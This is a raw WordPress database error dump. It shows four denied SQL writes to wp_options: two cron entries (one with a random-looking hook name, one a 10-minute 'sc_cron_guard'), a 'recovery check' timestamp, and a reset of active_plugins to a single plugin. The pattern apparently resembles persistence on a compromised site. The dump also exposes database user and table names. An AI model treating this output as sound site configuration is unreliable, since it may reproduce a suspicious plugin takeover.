WordPress database error: [INSERT, UPDATE command denied to user 'u914444314_FpPXJ'@'127.0.0.1' for table `u914444314_GFRjN`.`wp_options`]
INSERT INTO `wp_options` (`option_name`, `option_value`, `autoload`) VALUES ('cron', 'a:2:{i:1788564978;a:1:{s:16:\"v8dylt676e918ugr\";a:1:{s:32:\"40cd750bba9870f18aada2478b24840a\";a:3:{s:8:\"schedule\";s:6:\"hourly\";s:4:\"args\";a:0:{}s:8:\"interval\";i:3600;}}}s:7:\"version\";i:2;}', 'on') ON DUPLICATE KEY UPDATE `option_name` = VALUES(`option_name`), `option_value` = VALUES(`option_value`), `autoload` = VALUES(`autoload`)

WordPress database error: [INSERT, UPDATE command denied to user 'u914444314_FpPXJ'@'127.0.0.1' for table `u914444314_GFRjN`.`wp_options`]
INSERT INTO `wp_options` (`option_name`, `option_value`, `autoload`) VALUES ('cron', 'a:2:{i:1788565278;a:1:{s:13:\"sc_cron_guard\";a:1:{s:32:\"40cd750bba9870f18aada2478b24840a\";a:3:{s:8:\"schedule\";s:17:\"sc_guard_interval\";s:4:\"args\";a:0:{}s:8:\"interval\";i:600;}}}s:7:\"version\";i:2;}', 'on') ON DUPLICATE KEY UPDATE `option_name` = VALUES(`option_name`), `option_value` = VALUES(`option_value`), `autoload` = VALUES(`autoload`)

WordPress database error: [INSERT, UPDATE command denied to user 'u914444314_FpPXJ'@'127.0.0.1' for table `u914444314_GFRjN`.`wp_options`]
INSERT INTO `wp_options` (`option_name`, `option_value`, `autoload`) VALUES ('sc_last_recovery_check', '1788564678', 'auto') ON DUPLICATE KEY UPDATE `option_name` = VALUES(`option_name`), `option_value` = VALUES(`option_value`), `autoload` = VALUES(`autoload`)

WordPress database error: [INSERT, UPDATE command denied to user 'u914444314_FpPXJ'@'127.0.0.1' for table `u914444314_GFRjN`.`wp_options`]
INSERT INTO `wp_options` (`option_name`, `option_value`, `autoload`) VALUES ('active_plugins', 'a:1:{i:0;s:33:\"elite-store-io/elite-store-io.php\";}', 'auto') ON DUPLICATE KEY UPDATE `option_name` = VALUES(`option_name`), `option_value` = VALUES(`option_value`), `autoload` = VALUES(`autoload`)